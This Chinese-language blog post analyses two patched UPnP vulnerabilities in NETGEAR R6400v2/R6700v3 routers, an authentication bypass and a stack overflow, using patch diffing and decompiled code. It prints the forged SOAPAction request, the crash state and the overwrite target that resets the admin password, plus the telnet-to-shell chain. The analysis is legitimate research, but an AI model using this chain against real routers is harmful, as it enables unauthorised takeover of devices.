前言
6月15日,ZDI发布了有关NETGEAR R6700型号路由器的10个0 day的安全公告,其中有2个关于UPnP的漏洞:认证绕过和缓冲区溢出。通过组合这2个漏洞,在Pwn2Own Tokyo 2019比赛中,来自Team Flashback的安全研究员Pedro Ribeiro和Radek Domanski成功在R6700v3设备上实现代码执行。
6月17日,NETGEAR官方发布了安全公告,并针对R6400v2和R6700v3这2个型号的设备发布了补丁。由于此时还没有这2个漏洞的具体细节,于是打算通过补丁比对的方式对漏洞进行定位和分析。
补丁比对
选取R6400v2型号作为目标设备,根据NETGEAR官方的安全公告,选取R6400v2-V1.0.4.82和R6400v2-V1.0.4.92两个版本进行比对分析。
当时R6400v2-V1.0.4.92为最新的补丁版本,后来NETGEAR官方对安全公告进行了更新,目前最新的补丁版本为R6400v2-V1.0.4.94。
由于漏洞与UPnP服务有关,于是对upnpd程序进行分析,Bindiff比对的结果如下。

由图可知,存在差异的重要函数共7个。逐个对函数进行比对和分析,最终定位到sub_00024D80()函数中(补丁版本)。

可以看到,在V1.0.4.92补丁版本中,在调用memcpy()之前增加了一个长度校验,很有可能这里就是漏洞修复点。两个函数对应的伪代码如下,在补丁版本中,除了增加对memcpy()长度参数的校验外,sscanf()的格式化参数也发生了变化,可能在调用sscanf()时就会出现溢出。另外,结合该函数中的字符串sa_setBlockName,与ZDI漏洞公告中的描述相符,因此猜测这里就是栈溢出漏洞点。
为了便于阅读,已对部分函数进行了重命名。

另外,通过补丁比对的方式,暂时未定位到认证绕过漏洞。
漏洞利用限制
upnpd程序启用的缓解措施如下:仅启用了NX机制,同时程序的加载基址为0x8000。此外,设备上的ALSR等级为1,且upnpd程序崩溃后并不会重启。
| 12
 3
 4
 5
 6
 
 | $ checksec --file ./usr/sbin/upnpd Arch:     arm-32-little
 RELRO:    No RELRO
 Stack:    No canary found
 NX:       NX enabled
 PIE:      No PIE (0x8000)
 
 | 
根据上述信息,在无信息泄露的前提下,要想利用漏洞实现任意代码执行,最大的难题是NULL字符截断的问题。由于upnpd程序中.text段地址的最高字节均为'\x00',在覆盖返回地址后,后面的payload无法传入,因此只有一次覆盖返回地址的机会。想过尝试利用单次覆盖的机会泄露地址信息,但由于upnpd程序崩溃后不会重启,似乎也不可行。在尝试常规思路无果后,于是求助于Pedro Ribeiro,Pedro Ribeiro表示不便提前透露,但近期会公布漏洞细节。
在其他设备中也遇到过NULL字符截断的问题,故对这个漏洞如何利用更感兴趣,暂时未对调用路径进行详细分析。
漏洞分析
6月25日,Pedro Ribeiro在GitHub上公布了漏洞细节,并告知了我 ( 非常感谢:) )。结合Pedro Ribeiro的write up,加上有了可调试的真实设备,对这两个漏洞的细节有了更进一步的了解。
感兴趣的可以去看一下Pedro Ribeiro的write up,很详细。
SOAP消息
upnpd程序会监听5000/tcp端口,其主要通过SOAP协议来进行数据传输,这两个漏洞存在于对应的POST请求中。SOAP是一个基于XML的协议,一条SOAP消息就是一个普通的XML文档,其包含Envelope、Header(可选)、Body和Fault(可选)等元素。针对该设备,一个POST请求示例如下。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | // 省略部分内容POST soap/server_sa/ HTTP/1.1
 SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
 
 <?xml version="1.0"?>
 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 SetNetgearDeviceName
 <NewBlockSiteName>123456
 </NewBlockSiteName>
 </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>
 
 | 
缓冲区溢出
栈溢出漏洞存在于sa_setBlockName()函数内的sscanf()处,漏洞本身比较简单,但还需要对调用路径进行分析看如何触发。在V1.0.4.82版本中,函数sa_setBlockName()的调用路径如下。

sa_parseRcvCmd()函数
在函数sa_parseRcvCmd()内,需要使得(3)处的条件成立,即v7=0xFF37。(2)处循环及其后面的代码主要是查找标签并返回其索引(类型?),同时解析标签中的内容,而在(1)处v4指向对应的标签名称表,其部分内容如下。因此,请求数据中需要包含<NewBlockSiteName>标签。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 
 | int __fastcall sa_parseRcvCmd(char *a1, signed int a2){
 v2 = 0; haystack = a1; v76 = a2; v3 = strstr(haystack, ":Body>");
 memcpy(&v82, haystack, 0x31u);
 v83 = 0;
 if ( !v3 )
 return 702;
 v4 = dword_7DA44;
 memset(dword_D96CC, 0, 0x5F0u);
 v5 = off_7DA48; v72 = dword_7DA4C;
 if ( off_7DA48 == "END_OF_FILE" )
 return v2;
 v73 = v3 + 6; whence = 0; v6 = 0; v71 = 0; v75 = 0; buf = 0;
 while ( 1 )
 {
 
 v7 = *v4;
 
 snprintf((char *)&s, 0x32u, "<%s", v5);
 snprintf((char *)&v84, 0x32u, "</%s>", v5);
 v8 = strstr(v73, (const char *)&s);
 if ( !v8 )
 goto LABEL_25;
 v9 = strchr(v8, '>'); v10 = v7 == 0xFF3A || v7 == 0xFF13;
 src = v9 + 1;
 if ( v10 )
 break;
 v6 = strstr(src, (const char *)&v84);
 if ( v6 )
 goto LABEL_12;
 wrap_vprintf(2, "%d, could not found %s\n", 0x4C6, &v84);
 LABEL_25:
 if ( v4 != &dword_7E368 && v71 <= 19 )
 {
 v5 = (char *)v4[4]; v17 = v4[5]; v4 += 3; v72 = v17;
 if ( v5 != "END_OF_FILE" )
 continue;
 }
 return 0;
 }
 
 if ( v7 == 0xFF13 )
 {
 
 }
 LABEL_20:
 if ( v7 == 0xFF37 )
 {
 if ( buf )
 {
 dword_D96CC[19 * v71] = 0xFF37;
 return sa_setBlockName(src, (int)buf);
 
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 
 | ; 标签名称和索引(类型?)表.data:0007DA44 dword_7DA44     DCD 0xFF00
 .data:0007DA48 off_7DA48       DCD aNewenable          ; "NewEnable"
 .data:0007DA4C dword_7DA4C     DCD 1
 ; ...
 .data:0007DCE4                 DCD 0xFF37
 .data:0007DCE8                 DCD aNewblocksitena     ; "NewBlockSiteName"
 .data:0007DCEC                 DCD 0x3E8
 
 | 
sa_processResponse()函数
在sa_processResponse()函数内,在(1)处根据soap_action的类型进入不同的处理分支,在case 0中有多处(SetDeviceNameIconByMAC,SetDeviceInfoByMAC,SetNetgearDeviceName)会跳到分支LABEL_184,满足一定条件后在(2)处会调用sa_parseRcvCmd(),同样case 1中也有多处会跳到LABEL_184分支,之后会调用sa_parseRcvCmd()。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 
 | unsigned int sa_processResponse(int a1, char *a2, int a3, signed int a4, char *a5){
 v5 = (void *)a1; v6 = a2;
 switch ( (unsigned int)v5 )
 {
 case 0u:
 if ( sa_findKeyword((int)v6, 0) == 1 )
 goto LABEL_241;
 if ( sa_findKeyword((int)v6, 0xB1) == 1 )
 { v12 = 177; goto LABEL_184; }
 if ( sa_findKeyword((int)v6, 0xB9) == 1 )
 { v12 = 185; goto LABEL_184; }
 if ( sa_findKeyword((int)v6, 0xBA) == 1 )
 { v12 = 186; goto LABEL_184; }
 
 case 1u:
 if ( sa_findKeyword((int)v6, 0xB8) == 1 )
 { v10 = 184; v11 = -1; goto LABEL_242; }
 
 if ( sa_findKeyword((int)v6, 0xB6) == 1 )
 { v12 = 182; goto LABEL_184; }
 
 case 7u:
 if ( sa_findKeyword((int)v6, 71) == 1 )
 { v10 = 71; v11 = -1; goto LABEL_242; }
 
 LABEL_184:
 wrap_vprintf(3, "%s()\n", "sa_checkSessionID");
 v13 = strstr(v6, "SessionID");
 if ( !v13 )
 goto LABEL_759;
 v14 = v13 + 9; v15 = strchr(v13 + 9, 62); v16 = strstr(v14, "</");
 v17 = v15 == 0;
 if ( v15 )
 v17 = v16 == 0;
 if ( !v17
 && ((v18 = v15 + 1, v16 >= v15 + 1) ? (v19 = v16 - (_BYTE *)v18) : (v19 = (_BYTE *)v18 - v16), v19 <= 0x27) )
 {  }
 else
 {  }
 if ( v12 != 0x2D )
 {
 if ( v12 == 0x4E )
 {  }
 else
 {
 if ( v12 != 0x5C )
 {
 LABEL_196:
 v8 = sa_parseRcvCmd(v6, v75);
 
 
 | 
其中,sa_findKeyword()函数主要是根据指定的index在表中查找对应的keyword,对应表的部分内容如下。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | .data:0007D47C dword_7D47C     DCD 0                   .data:0007D480                 DCD aGetinfo            ; "GetInfo"
 ; ...
 .data:0007D9EC                 DCD 0xB1
 .data:0007D9F0                 DCD aSetdevicenamei     ; "SetDeviceNameIconByMAC"
 ; ...
 .data:0007DA14                 DCD 0xB9
 .data:0007DA18                 DCD aSetdeviceinfob     ; "SetDeviceInfoByMAC"
 ; ...
 .data:0007DA1C                 DCD 0xBA
 .data:0007DA20                 DCD aSetnetgeardevi     ; "SetNetgearDeviceName"
 ; ...
 .data:0007DA2C                 DCD 0xB6
 .data:0007DA30                 DCD aRecoveradminpa     ; "RecoverAdminPassword"
 ; ...
 .data:0007DA34                 DCD 0xB8
 .data:0007DA38                 DCD aSoaplogin          ; "SOAPLogin"
 
 | 
综上,通过构造如下所示的SOAP消息,即可到达漏洞点。
| 12
 3
 4
 5
 6
 7
 8
 
 | <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 SetNetgearDeviceName		// SetDeviceNameIconByMAC 或 SetDeviceInfoByMAC 也行
 <NewBlockSiteName>123
 </NewBlockSiteName>
 </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>
 
 | 
认证绕过
在前面的分析中,选择通过case 0中的SetNetgearDeviceName(或SetDeviceNameIconByMAC、SetDeviceInfoByMAC)去触发漏洞,这就涉及到认证绕过漏洞了。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 
 | signed int __fastcall sa_method_check(char *a1, int a2, char *a3, signed int a4){
 request_ptr = a1;
 v5 = a2; v6 = a3; v7 = a4; v8 = 0;
 v9 = dword_8F5B8;
 LOBYTE(dword_BFEC4) = 0;
 *(_WORD *)((char *)&dword_BFEC4 + 1) = 0;
 HIBYTE(dword_BFEC4) = 0;
 if ( dword_8F5B8 == 1 )
 return sub_2BCE0(0x20000, aXmlVersion10En_87, v5, v9);
 v11 = stristr(request_ptr, aSoapaction_0);
 if ( !v11 )
 return -1;
 v12 = aDeviceinfo;
 v13 = (const char *)(v11 + strlen(aSoapaction_0));
 while ( 1 )
 {
 v14 = v12; dword_9DCF4 = (int)v12; v12 += 30;
 if ( stristr(v13, v14) )
 break;
 if ( ++v8 == 11 )
 {
 soap_action_index = -1; goto LABEL_10;
 }
 }
 soap_action_index = v8;
 LABEL_10:
 
 v19 = (const char *)stristr(request_ptr, "Cookie:");
 v20 = (const char *)stristr(request_ptr, "SOAPAction:");
 v21 = (size_t)v20;
 v22 = strchr(v20, '\r');
 *v22 = v18; v23 = v21; n = v22;
 v24 = stristr(v23, "service:DeviceConfig:1#SOAPLogin") == 0;
 if ( !v19 )
 v24 = 0;
 *n = 13;
 if ( !v24 || (v25 = strchr(v19, '\r'), (v87 = v25) == 0) )
 {
 LABEL_52:
 strncpy((char *)&unk_D9050, "", 0x13u);
 v44 = inet_ntoa((struct in_addr)v6);
 strncpy((char *)&unk_D9050, v44, 0x13u);
 v45 = inet_ntoa((struct in_addr)v6);
 v46 = (const char *)acosNvramConfig_get("lan_ipaddr");
 if ( strcmp(v45, v46)
 && strncmp(v13, " urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate", 0x3Au)
 && strncmp(v13, " \"urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate\"", 0x3Cu)
 && strncmp(v13, " urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin", 0x34u)
 && strncmp(v13, " \"urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\"", 0x36u)
 && strncmp(v13, " urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo", 0x30u) )
 {
 
 }
 goto LABEL_27;
 }
 
 LABEL_27:
 if ( strcmp((const char *)dword_9DCF4, "ParentalControl") )
 goto LABEL_28;
 
 LABEL_28:
 if ( soap_action_index == -1
 || (v31 = (const char *)dword_9DCF4,
 wrap_vprintf(3, "%s()\n", "sa_saveXMLServiceType"),
 memset(byte_9FA30, 0, 0x64u),
 (v32 = stristr(request_ptr, "urn:")) == 0)
 || (v33 = (const void *)stristr(v32 + 4, ":")) == 0
 || (v34 = stristr(request_ptr, v31)) == 0 )
 {
 LABEL_50:
 v9 = 401;
 return sub_2BCE0(0x20000, aXmlVersion10En_87, v5, v9);
 }
 v35 = strlen(v31);
 strcat(byte_9FA30, "urn:NETGEAR-ROUTER");
 v36 = strlen(byte_9FA30);
 memcpy(&byte_9FA30[v36], v33, v34 + v35 - (_DWORD)v33);
 strcat(byte_9FA30, ":1");
 v37 = sa_processResponse(soap_action_index, request_ptr, v5, v7, v6);
 
 | 
在sa_method_check()函数中,在(1)处查找POST请求中的SOAPAction:头,(2)处在表中查找具体的SOAPAction服务并获取对应的类型(索引?),表中包含的服务名称及其顺序如下。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | .data:0007E380 aDeviceinfo     		DCB "DeviceInfo",0      .data:0007E39E aDeviceconfig   		DCB "DeviceConfig",0
 .data:0007E3BC aWanipconnectio_0 	  DCB "WANIPConnection",0
 .data:0007E3DA aWanethernetlin_0 	  DCB "WANEthernetLinkConfig",0
 .data:0007E3F8 aLanconfigsecur 		DCB "LANConfigSecurity",0
 .data:0007E416 aWlanconfigurat 		DCB "WLANConfiguration",0
 .data:0007E434 aTime           		DCB "Time",0
 .data:0007E452 aParentalcontro 		DCB "ParentalControl",0
 .data:0007E470 aAdvancedqos    		DCB "AdvancedQoS",0
 .data:0007E48E aUseroptionstc  		DCB "UserOptionsTC",0
 .data:0007E4AC aEndOfFile_0    		DCB "END_OF_FILE",0
 
 | 
为了使得程序能执行到(4),需要使得(3)处的判断条件不成立,即SOAPAction头部需包含以下三个之一。在(3)处还有一个对ip的判断,但这个似乎不太好伪造。
- urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate
- urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
- urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo
访问以上3个SOAPAction是无需认证的,似乎到这里直接发送如下POST请求就可以到达溢出漏洞点了。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | POST soap/server_sa/ HTTP/1.1SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
 
 <?xml version="1.0"?>
 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 SetNetgearDeviceName		// SetDeviceNameIconByMAC 或 SetDeviceInfoByMAC 也行
 <NewBlockSiteName>123
 </NewBlockSiteName>
 </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>
 
 | 
但是在sa_processResponse()函数中,在根据soap_action的类型进入分支处理时,urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo和urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin这2项会分别匹配对应case 分支的第1条if语句,从而跳转到其他地方,而urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate对应的case分支中的跳转都是跳到其他地方。因此,直接访问以上3个SOAPAction,程序执行流程不会到达溢出漏洞点。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | unsigned int __fastcall sa_processResponse(int a1, char *a2, int a3, signed int a4, char *a5){
 
 v5 = (void *)a1; v6 = a2;
 switch ( (unsigned int)v5 )
 {
 case 0u:
 if ( sa_findKeyword((int)v6, 0) == 1 )
 goto LABEL_241;
 if ( sa_findKeyword((int)v6, 0xB1) == 1 )
 { v12 = 177; goto LABEL_184; }
 if ( sa_findKeyword((int)v6, 0xB9) == 1 )
 { v12 = 185; goto LABEL_184; }
 if ( sa_findKeyword((int)v6, 0xBA) == 1 )
 { v12 = 186; goto LABEL_184; }
 
 case 1u:
 if ( sa_findKeyword((int)v6, 0xB8) == 1 )
 { v10 = 184; v11 = -1; goto LABEL_242; }
 
 case 7u:
 if ( sa_findKeyword((int)v6, 71) == 1 )
 { v10 = 71; v11 = -1; goto LABEL_242; }
 
 
 | 
那么如何才到达溢出漏洞点且无需认证呢?考虑到在查找SOAPAction服务和SOAPAction对应的关键字时采用的是stristr()函数,即直接进行字符串匹配查找,而没有考虑字符串具体的位置,可以通过发送如下POST请求绕过认证并达到溢出漏洞点。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | // 省略部分内容POST soap/server_sa HTTP/1.1
 SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLoginDeviceInfo
 
 <?xml version="1.0"?>
 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 SetNetgearDeviceName
 <NewBlockSiteName>123456
 </NewBlockSiteName>
 </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>
 
 | 
首先,在sa_method_check()中,在查找SOAPAction服务时,对应的表项DeviceInfo排在DeviceConfig之前,因此会匹配到DeviceInfo,对应的soap_action类型为0。其次,在对SOAPAction头部进行判断时,某个strncmp()会比对成功返回0,使得对应的if条件为false,程序继续执行后会调用sa_processResponse()。在sa_processResponse()中,由于soap_action的类型为0,程序会进入case 0分支,在查找关键字时会匹配到下面的SetNetgearDeviceName,因而会跳到对应的分支继续执行,最终到达溢出漏洞点。
漏洞利用
现在可以绕过认证并触发溢出漏洞了,该如何对溢出漏洞进行利用呢?溢出时的crash信息如下,可以看到,寄存器r4~`r8和pc`的内容都被覆盖了。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | (gdb) c                                                                   Continuing.
 
 Program received signal SIGSEGV, Segmentation fault.
 Cannot access memory at address 0x63636362
 0x63636362 in ?? ()
 (gdb) i r
 r0             0x0      0
 r1             0x662bc  418492
 r2             0x662bc  418492
 r3             0xbeece355       3203195733
 r4             0x61616161       1633771873
 r5             0x61616161       1633771873
 r6             0x61616161       1633771873
 r7             0x61616161       1633771873
 r8             0x62626262       1650614882
 r9             0x1      1
 r10            0x0      0
 r11            0xbeeccf80       3203190656
 r12            0x0      0
 sp             0xbeeccbb0       0xbeeccbb0
 lr             0x24c38  150584
 pc             0x63636362       0x63636362
 cpsr           0x60000030       1610612784
 (gdb) x/10wx $sp-0x10
 0xbeeccba0:     0x61616161      0x61616161      0x62626262      0x63636363
 0xbeeccbb0:     0x00000000      0x0000ff37      0x0000041e      0xbeeccf80
 0xbeeccbc0:     0xbeeccf4c      0x00000002
 
 | 
前面提到过,若想要实现任意代码执行,需要解决NULL字符截断的问题。在仅有一次覆盖返回地址的机会时,该如何构造payload呢? 在有限的条件下,Pedro Ribeiro采取了一种巧妙的方式,通过单次覆盖来修改设备管理员账户的密码,而upnpd程序中正好存在这一代码片段。这段代码不依赖于其他的寄存器以及栈空间内容等,跳转执行成功后程序还是会崩溃,但管理员账户的密码已成功修改成password。
| 12
 3
 4
 
 | ; V1.0.4.82 版本.text:00039A58 LDR             R0, =aHttpPasswd ; "http_passwd"
 .text:00039A5C LDR             R1, =aPassword ; "password"
 .text:00039A60 BL              acosNvramConfig_set
 
 | 
有了管理员账户和密码后,可以登录设备的管理界面,对设备的配置进行修改,但如何获取设备的shell以实现代码执行呢?Pedro Ribeiro指出,在R6700v3型号的设备上,可以通过某种方式开启设备的telnet服务,再利用已有的管理员账号和密码登录,即可获取设备的shell。
Pedro Ribeiro给出的完整利用流程如下:
- 结合认证绕过漏洞和缓冲区溢出漏洞,通过发送POST请求来修改管理员账号的密码;
- 利用已有的管理员账号和密码,登录web页面,再次修改管理员账号的密码;
- 通过向设备的23/udp端口发送telnetenable数据包,以开启telnet服务;
- 利用已有的管理员账号和密码,登录telnet服务,即可成功获取设备的shell
小结
本文从补丁比对出发,结合Pedro Ribeiro的write up,对NETGEAR R6400v2型号设备中的UPnP漏洞进行了定位和分析。
- 认证绕过:在对SOAPAction头进行解析和处理时,由于缺乏适当的校验,可通过伪造SOAPAction头部来绕过认证,从而访问某些API
- 缓冲区溢出:在解析和处理POST请求中的数据时,由于缺乏长度校验,通过伪造超长的数据,最终会造成在sa_setBlockName()函数中出现缓冲区溢出
栈溢出漏洞本身比较简单,但漏洞利用却存在NULL字符截断的问题,在只有一次覆盖返回地址的机会时,Pedro Ribeiro采用了一种巧妙的方式,值得借鉴和学习。
相关链接
- (0Day) (Pwn2Own) NETGEAR R6700 UPnP SOAPAction Authentication Bypass Vulnerability
- (0Day) (Pwn2Own) NETGEAR R6700 UPnP NewBlockSiteName Stack-based Buffer Overflow Remote Code Execution Vulnerability
- Security Advisory for Multiple Vulnerabilities on Some Routers, Mobile Routers, Modems, Gateways, and Extenders
- tokyo_drift
- SOAP 介绍
本文首发于安全客,文章链接:https://www.anquanke.com/post/id/209232